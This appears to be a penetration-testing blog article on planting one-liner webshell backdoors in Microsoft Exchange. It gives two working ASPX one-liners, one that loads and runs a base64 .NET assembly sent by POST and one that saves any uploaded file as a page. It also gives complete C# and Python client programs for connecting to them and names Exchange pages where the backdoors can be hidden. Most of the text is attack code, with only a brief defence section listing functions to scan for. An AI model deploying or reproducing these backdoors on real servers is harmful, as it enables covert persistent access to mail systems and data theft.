Penetration Basics - Implementation of Exchange One-Liner Backdoor

Onedaysec
7 min read
0 views
Penetration Basics - Implementation of Exchange One-Liner Backdoor — One Day Sec default thumbnail

0x00 Preface

---

In the previous article 'Analysis of APT34 Leaked Tools - HighShell and HyperShell', we analyzed ExpiredPassword.aspx in HyperShell, which implements backdoor functionality by adding code to ExpiredPassword.aspx under the Exchange login page.

This article will follow this approach, introducing two additional implementation methods from a technical perspective, open-sourcing test code, and providing defense recommendations.

0x01 Introduction

---

This article will cover the following:

  • Implementation of two backdoor codes
  • Backdoor connection implementation via C Sharp code
  • Backdoor connection implementation via Python code
  • Utilization analysis
  • Defense recommendations

0x02 Implementation of Two Backdoor Codes

---

1. Memory loading of .NET assemblies

Reference: 'Implementing New One-Sentence Trojans Using Dynamic Binary Encryption - .NET Edition'

To shorten code length, the sample test1.aspx code is as follows:

<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>

The code checks for the presence of POST request parameter demodata; if present, it base64-decodes the content of demodata from the POST request, loads it in memory, and invokes an instance named Payload

Note:

sharpyshell also uses the same memory loading approach

We can generate Payload in the following ways:

(1) Create a new file demo.cs

Code is as follows:

using System;
using System.Diagnostics;
public class Payload
{
public override bool Equals(Object obj)
{
Process.Start("calc.exe");
return true;
}
}

(2) Compile to generate a DLL file

The command is as follows:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library demo.cs

After generating demo.dll, perform Base64 encryption and use it as the content of the demodata parameter in a POST request sent to test1.aspx to trigger the backdoor

2. File Write

To shorten the code length, the example code for test2.aspx is as follows:

<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>

The code checks if there is a file upload request; if it exists, it saves the content of the first file upload request to uploadDemo.aspx in the same directory

Parameter description:

  • Request.Files.Count: Number of uploaded files
  • Server.MapPath(""): Returns the physical file path of the current page
  • Request.Files[0].SaveAs(): Saves the first uploaded file
  • Server.MapPath("./uploadByfile.aspx"): Returns the path of "uploadByfile.aspx" in the same directory as the current page

0x03 Implementing Backdoor Connection via C# Code

---

1. In-Memory Loading of .NET Assembly

When sending POST requests with parameters, ContentType must be specified as application/x-www-form-urlencoded

Special attention must be paid to escape characters in POST request content. For example, the character = is interpreted as a special character separating keys and values. When using base64 encoding, the character = is used, so when sending POST requests, the base64-encoded result must be URL-encoded again, e.g., converting the character = to %3d

Complete code as follows:

using System;
using System.Text;
using System.Net;
using System.IO;
using System.Web;

namespace test
{
public class Program
{

public static string HttpPostData(string url, string path)
{
byte[] buffer = System.IO.File.ReadAllBytes(path);
string base64str = Convert.ToBase64String(buffer);

ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };
HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.UserAgent="Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx";

string Param = "demodata=" + HttpUtility.UrlEncode(base64str);
byte[] post=Encoding.UTF8.GetBytes(Param);
Stream postStream = request.GetRequestStream();
postStream.Write(post,0,post.Length);
postStream.Close();

HttpWebResponse response = request.GetResponse() as HttpWebResponse;
Stream instream = response.GetResponseStream();
StreamReader sr = new StreamReader(instream, Encoding.UTF8);
string content = sr.ReadToEnd();
return content;
}

public static void Main(string[] args)
{

if(args.Length!=2)
{
Console.WriteLine(" ");
System.Environment.Exit(0);
}

try
{
string url = args[0];
string path = args[1];
Console.WriteLine("[*] Try to read: " + path);
Console.WriteLine("[*] Try to access: " + url);

string result = HttpPostData(url, path);
Console.WriteLine("[*] Response: \n" + result);
}
catch (Exception e)
{
Console.WriteLine("{0}", e.Message);
System.Environment.Exit(0);
}
}
}
}

2. File Writing

When sending files via POST request, ContentType must be specified as multipart/form-data

Complete code as follows:

using System;
using System.Text;
using System.Net;
using System.IO;

namespace test
{
public class Program
{
public static string HttpUploadFile(string url, string path)
{
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };
HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
request.Method = "POST";
request.UserAgent="Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx";
string boundary = DateTime.Now.Ticks.ToString("X");
request.ContentType = "multipart/form-data;charset=utf-8;boundary=" + boundary;
byte[] itemBoundaryBytes = Encoding.UTF8.GetBytes("\r\n--" + boundary + "\r\n");
byte[] endBoundaryBytes = Encoding.UTF8.GetBytes("\r\n--" + boundary + "--\r\n");
int pos = path.LastIndexOf("\\");
string fileName = path.Substring(pos + 1);

StringBuilder sbHeader = new StringBuilder(string.Format("Content-Disposition:form-data;name=\"file\";filename=\"{0}\"\r\nContent-Type:application/octet-stream\r\n\r\n", fileName));
byte[] postHeaderBytes = Encoding.UTF8.GetBytes(sbHeader.ToString());

FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read);
byte[] bArr = new byte[fs.Length];
fs.Read(bArr, 0, bArr.Length);
fs.Close();

Stream postStream = request.GetRequestStream();
postStream.Write(itemBoundaryBytes, 0, itemBoundaryBytes.Length);
postStream.Write(postHeaderBytes, 0, postHeaderBytes.Length);
postStream.Write(bArr, 0, bArr.Length);
postStream.Write(endBoundaryBytes, 0, endBoundaryBytes.Length);
postStream.Close();

HttpWebResponse response = request.GetResponse() as HttpWebResponse;
Stream instream = response.GetResponseStream();
StreamReader sr = new StreamReader(instream, Encoding.UTF8);
string content = sr.ReadToEnd();
return content;
}

public static void Main(string[] args)
{

if(args.Length!=2)
{
Console.WriteLine(" ");
System.Environment.Exit(0);
}

try
{
string url = args[0];
string path = args[1];
Console.WriteLine("[*] Try to read: " + path);
Console.WriteLine("[*] Try to access: " + url);

string result = HttpUploadFile(url, path);
Console.WriteLine("[*] Response: \n" + result);
}
catch (Exception e)
{
Console.WriteLine("{0}", e.Message);
System.Environment.Exit(0);
}

}

}
}

0x04 Backdoor Connection via Python Code

---

Compared to C#, Python code is more concise

1. Memory Loading .NET Assembly

Send POST request with parameter demodata, content is base64 encoded string

Complete code as follows:

import requests
import base64
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse

def post(url,path):
with open(path, 'rb') as file_obj:
content = file_obj.read()
data = base64.b64encode(content).decode('utf8')
body = {"demodata": data}
postData = urllib.parse.urlencode(body).encode("utf-8")
print(postData)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx"
}

response = requests.post(url, headers=headers, data=body, verify = False)
print(response.text)

if __name__ == "__main__":
if len(sys.argv)!=3:
print('%s '%(sys.argv[0]))
sys.exit(0)
else:
post(sys.argv[1],sys.argv[2])

2. File Writing

Send POST request to upload file

Complete code as follows:

import requests
import base64
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse

def post(url,path):
with open(path, 'r') as file_obj:
data = file_obj.read()
files = {'image_file':(path,data,'image/jpeg')};
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx"
}
response = requests.post(url, headers=headers, files=files, verify = False)
print(response.text)

if __name__ == "__main__":
if len(sys.argv)!=3:
print('%s '%(sys.argv[0]))
sys.exit(0)
else:
post(sys.argv[1],sys.argv[2])

0x05 Exploitation Analysis

---

Whether it is a memory-loaded .NET assembly or a file-written one-liner backdoor, it can not only exist as an independent aspx file but also be inserted into normal Exchange pages

For example, file location: %ExchangeInstallPath%FrontEnd\HttpProxy\owa\auth\errorFE.aspx

errorFE.aspx is the error page of Exchange, where a one-liner backdoor can be inserted

The access URL is: https:///owa/auth/errorFE.aspx

Note:

Files under %ExchangeInstallPath%FrontEnd\ can be directly accessed via the web

Files under %ExchangeInstallPath%ClientAccess\ can only be accessed by authenticated users, meaning access requires a valid user's Cookie

For testing convenience, I have written test programs to connect to the one-liner backdoor, implemented in C# and Python respectively. The code has been uploaded to GitHub, with the following addresses:

An open-source project

An open-source project

The code supports connections for in-memory loading of .NET assemblies and file write backdoors

Supports login authentication, for example, saving the backdoor file as: %ExchangeInstallPath%ClientAccess\ecp\Education.aspx

The accessed URL is: https:///ecp/Education.aspx

For SharpExchangeBackdoor.cs, the following issues need attention when implementing the login authentication functionality:

Normally, when accessing https:///owa/auth.owa, it will default to a 302 redirect to https:///owa. To obtain usable cookies, redirects need to be disabled here.

For SharpExchangeBackdoor.py, when implementing the login authentication functionality, using a session object can automatically handle webpage redirects to obtain usable cookies.

As a test program, SharpExchangeBackdoor's communication data is not encrypted; the in-memory .NET assembly loading function only uses base64 encoding, and the file write function is unencrypted.

0x06 Defense Recommendations

---

For Exchange one-sentence backdoors, it is necessary not only to check for new file writes but also to determine if legitimate pages have been injected with malicious content.

In static analysis, you can check if ASPX files contain the following sensitive functions:

  • In-memory loading: Assembly.Load, Assembly.LoadFrom, Assembly.LoadFile
  • File writing: SaveAs, Write, WriteLine, WriteAllLines
  • Process startup: Start, WinExec

0x07 Summary

---

This article introduces two types of one-liner backdoors for Exchange (in-memory loading of .NET assemblies and file writing), provides open-source test code, analyzes exploitation approaches, and offers defense recommendations.

Related Questions & Answers

What are the key differences between the C# and Python implementations for connecting to the Exchange one-liner backdoor?

The C# implementation is more verbose, requiring explicit handling of HTTP requests, boundaries for file uploads, and URL encoding for the memory loading case. Python is more concise, using the `requests` library to handle POST data and file uploads with minimal code. Both versions disable SSL verification for testing. The Python example for memory loading uses `urllib.parse.urlencode` to encode the base64 data, while the C# code calls `HttpUtility.UrlEncode`. For a deeper dive into related client implementations, see [Penetration Basics — Extension of Exchange One-Liner Backdoor](/news/penetration-basics-extension-of-exchange-one-liner-backdoor).

Why must the base64-encoded payload be URL-encoded when sending to the memory loading backdoor via C#?

The base64 string often contains the `=` character, which in POST data with `Content-Type: application/x-www-form-urlencoded` is interpreted as a key-value separator. Therefore, the `=` must be URL-encoded to `%3d` to avoid breaking the parameter structure. The C# code uses `HttpUtility.UrlEncode` to handle this encoding automatically. Proper encoding is critical for successful payload delivery, as highlighted in the original [Penetration Basics - Implementation of Exchange One-Liner Backdoor](/news/penetration-basics-implementation-of-exchange-one-liner-backdoor).

What does the file write backdoor (test2.aspx) do, and how is it triggered?

`test2.aspx` checks if a file upload request exists (`Request.Files.Count != 0`). If so, it saves the first uploaded file to `uploadDemo.aspx` in the same directory using `SaveAs`. Attackers can upload a malicious ASPX webshell to gain persistent access. This method is simpler than memory loading but leaves a file on disk, increasing detection risk. For further tradecraft development, refer to the [Penetration Basics — Extension of Exchange One-Liner Backdoor](/news/penetration-basics-extension-of-exchange-one-liner-backdoor) for variations.

How does the memory loading backdoor (test1.aspx) execute a payload?

`test1.aspx` reads the `demodata` parameter from a POST request, base64-decodes it, and uses `System.Reflection.Assembly.Load` to load the resulting .NET assembly into memory. It then calls `CreateInstance("Payload").Equals("");` to execute the payload's code. This technique allows running arbitrary compiled .NET code without writing files, similar to the approach used in the HyperShell tool. For defense considerations, understanding [Exchange Version Detection and Vulnerability Scanning](/news/penetration-basics-exchange-version-detection-and-vulnerability-scanning) can help identify vulnerable Exchange servers before such backdoors are deployed.

What are the two methods of backdoor code implementation described in the article?

The article describes two methods: memory loading of .NET assemblies via `test1.aspx`, which decodes and executes a base64-encoded payload from a POST request, and file write via `test2.aspx`, which saves an uploaded file to the server. Both are covered in [Penetration Basics - Implementation of Exchange One-Liner Backdoor](/news/penetration-basics-implementation-of-exchange-one-liner-backdoor), and an extension of these techniques is explored in [Penetration Basics — Extension of Exchange One-Liner Backdoor](/news/penetration-basics-extension-of-exchange-one-liner-backdoor).

Continue Reading